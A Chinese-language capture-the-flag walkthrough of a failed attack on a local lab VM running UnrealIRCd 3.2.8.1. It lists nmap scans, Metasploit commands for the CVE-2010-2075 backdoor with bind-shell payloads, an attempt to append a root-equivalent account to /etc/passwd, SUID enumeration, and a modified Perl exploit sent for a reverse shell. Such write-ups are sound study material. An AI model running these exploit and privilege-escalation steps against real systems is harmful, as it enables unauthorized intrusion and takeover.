**写在前面:**记录一次失败的打靶经历。
目录
1. 主机发现
目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24
锁定目标靶机的IP为192.168.56.112。
2. 端口扫描
通过下面的命令,对目标靶机进行全端口扫描。
$ sudo nmap -p- 192.168.56.112
从端口扫描的结果来看,这个靶机有些诡异,没有暴露任何常规的端口,只暴露了6667/6697/8067三个端口。
3. 服务枚举
通过下面的命令枚举一下运行在开放端口上的服务有哪些。
$ sudo nmap -p6667,6697,8067 -A -sV -sT 192.168.56.112
实属诡异,先上网搜索一下irc或者UnrealIRCd到底是个什么服务。通过上网搜索,这个IRC貌似是一个互联网聊天中继服务,而UnrealIRCd是一个开源的IRC服务器软件。
4. 服务探查
即便是这样子,对这个服务也是一无所知啊,除了知道是个聊天的服务。先用nc命令访问一下端口试试,不行就只能查找公共EXP了。
看来是没法直接访问的,网上搜索一下看看有没有合适的客户端直接连接到我们的IRC服务,还真有,并且不止一个,我这里是用的mIRC(https://www.mirc.com/get.html),30天的试用期足够我们打靶用了。安装好后,在服务配置里面添加我们的服务器即可,不再赘述,连接我们配置好的服务器直接就建立了连接。
并且进一步确认了我们的UnrealIRCd的版本号是3.2.8.1,无奈并不会用,所以也没法探查其它的内容。
5. 搜索EXP
接下来搜索一下有没有可用的公共EXP。
有些小惊喜,搜出来的EXP貌似都适合我们的目标,而且第一个EXP可以直接使用Metasploit进行远程代码执行,接下来试试看。
6. EXP利用
首先启动msfconsole。
$ msfconsole
然后通过下面的命令搜索关于UnrealIRCd的漏洞。
msf6 > search unrealircd
然后通过use命令使用EXP。
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
查看一下配置信息。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
设置一下RHOSTS。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.112
通过exploit命令开始执行攻击。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
好奇怪,大家在利用这个CVE-2010-2075的时候都是成功的,就我这里失败了。可能是我的kalil原因,升级一下,重启一下,然后再试试看,还是同样的错误。查看一下可用的payloads。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
设置一下payload。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_ruby
再次执行试试看。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
比之前更近了一步,但是建立会话失败,更换一下payload试试看。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
这次貌似成功了,试试看。
我们成功突破了边界,接下来进行提权操作。
7. 提权
7.1 查看系统信息
目标靶机使用了64位的Debian10,内核版本是4.19.132-1。
7.2 查看passwd文件
$ cat /etc/passwd | grep -v nologin
尝试往passwd文件中写入一个跟root权限一样的账号。
$ openssl passwd test123
$ echo "testusr:$1$HIblQNXW$TF/mt.0gC/BUb24JHf5B2.:0:0:root:/root:/bin/bash" >> /etc/passwd
没写入成功。
7.3 枚举可执行文件
用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。
$ find / -type f -user root -perm -o=w 2>/dev/null
这里跟之前一样,除了/proc目录和/sys目录下的内容,并没有发现实际有价值的信息。然后搜索一下带有SUID标记的二进制文件。
$ find / -perm -u=s -type f 2>/dev/null
查询结果竟然是空的,直接用sudo -l查看一下试试。
也是空的,好奇怪。
7.4 枚举定时任务
貌似也没啥可利用的。
7.5 枚举当前用户目录
先看看默认的当前目录。
仔细看了一下这些文件和目录,没有发现我们感兴趣的内容,再看看~/目录下面。
我们在local.txt下面发现了一串字符,像是某种加密后的内容,其它没有找到我们感兴趣的内容。
用hash-identifier试试看。
可能是MD5的串。
7.6 公共EXP搜索
搜索一下Debian 10版本上有没有可以直接用于提权的漏洞。
貌似这两个EXP都可用于提权,弄下来试试看。可以都办法通过wget或者nc上传到目标靶机,因为这些shell在目标靶机貌似有些问题,命令没有回显提示,执行以后没有反映,暂时放弃这条路,看看其它的EXP。
8. 利用其它EXP
其实我们之前的搜索中有个13853的EXP应该也是可以匹配的,一个远程下载执行的漏洞,如下图第三个。
接下来我们试一下,先看代码。
虽然pl代码基本上看不懂,但是大致的功能和逻辑还算清晰。直接把最后一个payload修改成我们需要创建的反弹shell,如下图。
在kali上建立监听。
再开一个命令行窗口,运行一下修改好的EXP试试看。
说明:命令中的前两个参数不再赘述,主机地址和端口,最后一个参数是我们要使用的payload的序号,因为这里我修改的是第5个payload,所以这里填写的是5。
$ perl 13853.pl 192.168.56.112 6667 5
payload发送了,但是建立反弹shell失败,并且始终没有找到原因。
9. 总结
这个目标靶机实在是折腾,通过用尽了办法都没有提权成功。上网搜索了一下,其实这个靶机的提权非常简单,root用户的密码就是root用户。因为我们突破边界之后的shell不回显,所以直接使用su root回车,然后再输入root作为密码(这个时候root是明文显示的)就可以切换到root用户。
以后找机会再看看这个主机还有没有别的提权办法。在这次打靶中,血的教训就是要首先试一下root、root123/123456等弱密码。